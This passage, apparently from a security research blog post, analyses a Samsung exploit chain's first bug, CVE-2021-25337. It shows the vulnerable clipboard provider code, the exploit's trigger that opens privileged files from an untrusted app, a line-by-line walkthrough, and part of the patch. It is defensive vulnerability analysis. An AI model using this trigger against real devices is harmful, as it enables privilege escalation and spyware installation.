<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The in-the-wild sample that was obtained is a JNI native library file that would have been loaded as a part of an app. Unfortunately TAG did not obtain the app that would have been used with this library. Getting initial code execution via an application is a path that we’ve seen in other campaigns this year. </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/">TAG</a></span><span> and </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html">Project Zero</a></span><span class="vdnyYxSRCi-c7"> published detailed analyses of one of these campaigns in June. </span></p><h1 class="vdnyYxSRCi-c28 vdnyYxSRCi-c8" id="h.e0me6pgei4ix"><span class="vdnyYxSRCi-c31">Vulnerability #1 - Arbitrary filesystem read and write</span></h1>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit chain used CVE-2021-25337 for an initial arbitrary file read and write. The exploit is running as the </span><span class="vdnyYxSRCi-c2">untrusted_app</span><span> SELinux context, but uses the </span><span class="vdnyYxSRCi-c2">system_server</span><span class="vdnyYxSRCi-c7"> SELinux context to open files that it usually wouldn’t be able to access. This bug was due to a lack of access control in a custom Samsung clipboard provider that runs as the system user. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnrMtDmG4HptsA4AWfg404rrysHRNHsnGwDE6LY1iWCH2ywFNiQy4qn6yuV9ONlcJ2_YilTV8pd1um42sMKqVhKQliJWco-ZF9Vq0z24fCavXMMcM6jsFLP-JDuw726K7zXOtvC5Cb4K_bWcNUkl3Y2hlWwiIGS0FOjkJNG1oWDSQ7bc9RGm6ZUQXN/s1104/image2.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnrMtDmG4HptsA4AWfg404rrysHRNHsnGwDE6LY1iWCH2ywFNiQy4qn6yuV9ONlcJ2_YilTV8pd1um42sMKqVhKQliJWco-ZF9Vq0z24fCavXMMcM6jsFLP-JDuw726K7zXOtvC5Cb4K_bWcNUkl3Y2hlWwiIGS0FOjkJNG1oWDSQ7bc9RGm6ZUQXN/s1104/image2.png" border="0" alt="Screenshot of the CVE-2021-25337 entry from Samsung's March 2021 security update. It reads: &quot;SVE-2021-19527 (CVE-2021-25337): Arbitrary file read/write vulnerability via unprotected clipboard content provider Severity: Moderate Affected versions: P(9.0), Q(10.0), R(11.0) devices except ONEUI 3.1 in R(11.0) Reported on: November 3, 2020 Disclosure status: Privately disclosed. An improper access control in clipboard service prior to SMR MAR-2021 Release 1 allows untrusted applications to read or write arbitrary files in the device. The patch adds the proper caller check to prevent improper access to clipboard service." style="max-height: 750px; max-width: 600px;"title="Screenshot of the CVE-2021-25337 entry from Samsung's March 2021 security update. It reads: &quot;SVE-2021-19527 (CVE-2021-25337): Arbitrary file read/write vulnerability via unprotected clipboard content provider Severity: Moderate Affected versions: P(9.0), Q(10.0), R(11.0) devices except ONEUI 3.1 in R(11.0) Reported on: November 3, 2020 Disclosure status: Privately disclosed. An improper access control in clipboard service prior to SMR MAR-2021 Release 1 allows untrusted applications to read or write arbitrary files in the device. The patch adds the proper caller check to prevent improper access to clipboard service." /></a></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.6kvrbnoz6uxg"><span class="vdnyYxSRCi-c16">About Android content providers</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>In Android, </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/guide/topics/providers/content-providers">Content Providers</a></span><span> manage the storage and system-wide access of different data. Content providers organize their data as tables with columns representing the type of data collected and the rows representing each piece of data. Content providers are </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/guide/topics/providers/content-provider-creating#ContentProvider">required to implement six abstract methods</a></span><span>: </span><span class="vdnyYxSRCi-c2">query</span><span>, </span><span class="vdnyYxSRCi-c2">insert</span><span>,</span><span class="vdnyYxSRCi-c2"> update</span><span>, </span><span class="vdnyYxSRCi-c2">delete</span><span>, </span><span class="vdnyYxSRCi-c2">getType</span><span>, and </span><span class="vdnyYxSRCi-c2">onCreate</span><span>. All of these methods besides </span><span class="vdnyYxSRCi-c2">onCreate</span><span class="vdnyYxSRCi-c7"> are called by a client application.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>According to the </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/guide/topics/providers/content-provider-creating#Permissions">Android documentation</a></span><span class="vdnyYxSRCi-c7">:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c26"><span><br></span><span class="vdnyYxSRCi-c35 vdnyYxSRCi-c11">All applications can read from or write to your provider, even if the underlying data is private, because by default your provider does not have permissions set. To change this, set permissions for your provider in your manifest file, using attributes or child elements of the <provider> element. You can set permissions that apply to the entire provider, or to certain tables, or even to certain records, or all three.</span></p><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.q6l9tyie3537"><span class="vdnyYxSRCi-c16">The vulnerability</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Samsung created a custom clipboard content provider that runs within the system server. The </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/java/com/android/server/SystemServer.java">system server</a></span><span> is a very privileged process on Android that manages many of the services critical to the functioning of the device, such as the WifiService and TimeZoneDetectorService. The system server runs as the privileged </span><span class="vdnyYxSRCi-c2">system</span><span> user (UID 1000, </span><span class="vdnyYxSRCi-c2">AID_system</span><span>) and under the </span><span class="vdnyYxSRCi-c2">system_server</span><span class="vdnyYxSRCi-c7"> SELinux context.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Samsung added a custom clipboard content provider to the system server. This custom clipboard provider is specifically for images. In the </span><span class="vdnyYxSRCi-c2">com.android.server.semclipboard.SemClipboardProvider</span><span class="vdnyYxSRCi-c7"> class, there are the following variables:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span><br></span><span class="vdnyYxSRCi-c33 vdnyYxSRCi-c34"> DATABASE_NAME = ‘clipboardimage.db’</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c34 vdnyYxSRCi-c33"> TABLE_NAME = ‘ClipboardImageTable’</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c34 vdnyYxSRCi-c33"> URL = ‘content://com.sec.android.semclipboardprovider/images’</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c34 vdnyYxSRCi-c33"> CREATE_TABLE = " CREATE TABLE ClipboardImageTable (id INTEGER PRIMARY KEY AUTOINCREMENT, _data TEXT NOT NULL);";</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c34 vdnyYxSRCi-c33"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c51">Unlike content providers that live in “normal” apps and can restrict access via permissions in their manifest as explained above, content providers in the system server are responsible for restricting access in their own code.</span><span class="vdnyYxSRCi-c44 vdnyYxSRCi-c49"> The system server is a single JAR (services.jar) on the firmware image and doesn’t have a manifest for any permissions to go in. Therefore it’s up to the code within the system server to do its own access checking. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c11">UPDATE 10 Nov 2022: The system server code is not an app in its own right. Instead its code lives in a JAR, </span><span class="vdnyYxSRCi-c2">services.jar</span><span class="vdnyYxSRCi-c11">. Its manifest is found in </span><span class="vdnyYxSRCi-c2">/system/framework/framework-res.apk</span><span class="vdnyYxSRCi-c11">. In this case, the entry for the </span><span class="vdnyYxSRCi-c2">SemClipboardProvider</span><span class="vdnyYxSRCi-c11 vdnyYxSRCi-c35"> in the manifest is:</span></p>
<p class="c30 c8 c14 c38"><span class="vdnyYxSRCi-c33 vdnyYxSRCi-c43"></span></p><a id="t.4abf9747174430e2619adf352acba88a7de57bde"></a><a id="t.0"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c22"><td class="vdnyYxSRCi-c41" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c8 vdnyYxSRCi-c30"><span class="vdnyYxSRCi-c25"><provider</span><span class="vdnyYxSRCi-c4"> android:name</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">"com.android.server.semclipboard.SemClipboardProvider" android:enabled</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">"true" android:exported</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">"true" android:multiprocess</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">"false" android:authorities</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">"com.sec.android.semclipboardprovider" android:singleUser</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">"true"</span><span class="vdnyYxSRCi-c25 vdnyYxSRCi-c33">/></span></p></td></tr></table>
<p class="c1 c8 c14 c38"><span class="vdnyYxSRCi-c32"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c38"><span class="vdnyYxSRCi-c11 vdnyYxSRCi-c50">Like “normal” app-defined components, the system server could use the </span><span class="vdnyYxSRCi-c2">android:permission</span><span class="vdnyYxSRCi-c50"> </span><span class="vdnyYxSRCi-c43 vdnyYxSRCi-c11 vdnyYxSRCi-c45">attribute to control access to the provider, but it does not. Since there is not a permission required to access the SemClipboardProvider via the manifest, any access control must come from the provider code itself. Thanks to Edward Cunningham for pointing this out!</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The </span><span class="vdnyYxSRCi-c2">ClipboardImageTable</span><span> defines only two columns for the table as seen above: </span><span class="vdnyYxSRCi-c2">id</span><span> and </span><span class="vdnyYxSRCi-c2">_data</span><span>. </span><span>The column name </span><span class="vdnyYxSRCi-c2">_data</span><span> has a special use in Android content providers.</span><span> It can be used with the </span><span class="vdnyYxSRCi-c2 vdnyYxSRCi-c27"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/reference/android/content/ContentProvider#openFileHelper(android.net.Uri,%20java.lang.String)">openFileHelper</a></span><span> method to open a file at a specified path. Only the URI of the row in the table is passed to </span><span class="vdnyYxSRCi-c2">openFileHelper</span><span> and a </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/reference/android/os/ParcelFileDescriptor">ParcelFileDescriptor</a></span><span> object for the path stored in that row is returned. The </span><span class="vdnyYxSRCi-c2">ParcelFileDescriptor</span><span> class then provides the </span><span class="vdnyYxSRCi-c2 vdnyYxSRCi-c27"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/reference/android/os/ParcelFileDescriptor#getFd()">getFd</a></span><span> method to get the native file descriptor (fd) for the returned </span><span class="vdnyYxSRCi-c2">ParcelFileDescriptor</span><span class="vdnyYxSRCi-c7">. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.e18ec8258d62d1bc4c9a78a85fafcf74e0c9ab36"></a><a id="t.1"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">public</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">Uri</span><span class="vdnyYxSRCi-c4"> insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c12">Uri</span><span class="vdnyYxSRCi-c4"> uri</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">ContentValues</span><span class="vdnyYxSRCi-c4"> values</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> row </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">this</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">database</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">TABLE_NAME</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">""</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> values</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">row </span><span class="vdnyYxSRCi-c0">></span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">Uri</span><span class="vdnyYxSRCi-c4"> newUri </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">ContentUris</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">withAppendedId</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">CONTENT_URI</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> row</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> getContext</span><span class="vdnyYxSRCi-c0">().</span><span class="vdnyYxSRCi-c4">getContentResolver</span><span class="vdnyYxSRCi-c0">().</span><span class="vdnyYxSRCi-c4">notifyChange</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">newUri</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">null</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> newUri</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">throw</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">new</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">SQLException</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"Fail to add a new record into "</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">+</span><span class="vdnyYxSRCi-c4"> uri</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The function above is the vulnerable </span><span class="vdnyYxSRCi-c2">insert()</span><span> method in </span><span class="vdnyYxSRCi-c2">com.android.server.semclipboard.SemClipboardProvider</span><span>. </span><span>There is no access control included in this function</span><span> so any app, including the </span><span class="vdnyYxSRCi-c2">untrusted_app</span><span> SELinux context, can modify the </span><span class="vdnyYxSRCi-c2">_data</span><span> column directly</span><span>.</span><span> By calling </span><span class="vdnyYxSRCi-c2">insert</span><span class="vdnyYxSRCi-c7">, an app can open files via the system server that it wouldn’t usually be able to open on its own.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">The exploit triggered the vulnerability with the following code from an untrusted application on the device. This code returned a raw file descriptor.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.c76d3f2b81f0b5658486a0f765013fc550b7979d"></a><a id="t.2"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c12">ContentValues</span><span class="vdnyYxSRCi-c4"> vals </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">new</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">ContentValues</span><span class="vdnyYxSRCi-c0">();</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">vals</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">put</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"_data"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"/data/system/users/0/newFile.bin"</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">URI semclipboard_uri </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> URI</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">parse</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"content://com.sec.android.semclipboardprovider"</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c12">ContentResolver</span><span class="vdnyYxSRCi-c4"> resolver </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> getContentResolver</span><span class="vdnyYxSRCi-c0">();</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">URI newFile_uri </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> resolver</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">semclipboard_uri</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> vals</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> resolver</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">openFileDescriptor</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">newFile_uri</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"w"</span><span class="vdnyYxSRCi-c0">).</span><span class="vdnyYxSRCi-c4">getFd</span><span class="vdnyYxSRCi-c0">();</span><span class="vdnyYxSRCi-c4"> </span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">Let’s walk through what is happening line by line:</span></p><ol class="c36 lst-kix_olk2lnn0afau-0 start" start="1"><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Create a </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/reference/android/content/ContentValues">ContentValues</a></span><span class="vdnyYxSRCi-c7"> object. This holds the key, value pair that the caller wants to insert into a provider’s database table. The key is the column name and the value is the row entry.</span></li><li style="margin-left: 46pt;" class="c1 c8 c21 li-bullet-0"><span class="vdnyYxSRCi-c7">Set the ContentValues object: the key is set to “_data” and the value to an arbitrary file path, controlled by the exploit.</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Get the URI to access the </span><span class="vdnyYxSRCi-c2">semclipboardprovider</span><span>. This is set in the </span><span class="vdnyYxSRCi-c2">SemClipboardProvider</span><span class="vdnyYxSRCi-c7"> class.</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Get the </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/reference/android/content/ContentResolver">ContentResolver</a></span><span class="vdnyYxSRCi-c7"> object that allows apps access to ContentProviders.</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Call </span><span class="vdnyYxSRCi-c2">insert</span><span> on the </span><span class="vdnyYxSRCi-c2">semclipboardprovider</span><span class="vdnyYxSRCi-c7"> with our key-value pair.</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Open the file that was passed in as the value and return the raw file descriptor. </span><span class="vdnyYxSRCi-c2">openFileDescriptor</span><span> calls the content provider’s </span><span class="vdnyYxSRCi-c2">openFile</span><span>, which in this case simply calls </span><span class="vdnyYxSRCi-c2">openFileHelper</span><span class="vdnyYxSRCi-c7">.</span></li></ol>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Th</span><span>e</span><span> exploit wrote their next stage binary to the directory </span><span class="vdnyYxSRCi-c2">/data/system/users/0/</span><span>. The dropped file will have an SELinux context of </span><span class="vdnyYxSRCi-c2">users_system_data_file</span><span>. Normal </span><span class="vdnyYxSRCi-c2">untrusted_app</span><span>’s don’t have access to open or create </span><span class="vdnyYxSRCi-c2">users_system_data_file</span><span> files so in this case they are proxying the open through </span><span class="vdnyYxSRCi-c2">system_server</span><span> who can open </span><span class="vdnyYxSRCi-c2">users_system_data_file</span><span>. While </span><span class="vdnyYxSRCi-c2">untrusted_app</span><span> can’t open </span><span class="vdnyYxSRCi-c2">users_system_data_file</span><span>, it can read and write to </span><span class="vdnyYxSRCi-c2">users_system_data_file</span><span class="vdnyYxSRCi-c7">. Once the clipboard content provider opens the file and passess the fd to the calling process, the calling process can now read and write to it.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">The exploit first uses this fd to write their next stage ELF file onto the file system. The contents for the stage 2 ELF were embedded within the original sample.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">This vulnerability is triggered three more times throughout the chain as we’ll see below.</span></p><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.a85my9321daw"><span class="vdnyYxSRCi-c16">Fixing the vulnerability</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>To fix the vulnerability, Samsung added access checks to the functions in the </span><span class="vdnyYxSRCi-c2">SemClipboardProvider</span><span>. </span><span>The </span><span class="vdnyYxSRCi-c2">insert</span><span> method now checks if the PID of the calling process is UID 1000, meaning that it is already also running with system privileges.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.b1677b3cf45fa7aae1529da0f69fbe999785be5f"></a><a id="t.3"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">public</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">Uri</span><span class="vdnyYxSRCi-c4"> insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c12">Uri</span><span class="vdnyYxSRCi-c4"> uri</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">ContentValues</span><span class="vdnyYxSRCi-c4"> values</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">if</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c12 vdnyYxSRCi-c9">Binder</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">.</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">getCallingUid</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">()</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">!=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c13 vdnyYxSRCi-c9">1000</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">)</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">Log</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">e</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">TAG</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"Fail to insert image clip uri. blocked the access of package : "</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">+</span><span class="vdnyYxSRCi-c4"> getContext</span><span class="vdnyYxSRCi-c0">().</span><span class="vdnyYxSRCi-c4">getPackageManager</span><span class="vdnyYxSRCi-c0">().</span><span class="vdnyYxSRCi-c4">getNameForUid</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c12">Binder</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">getCallingUid</span><span class="vdnyYxSRCi-c0">()));</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">null</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
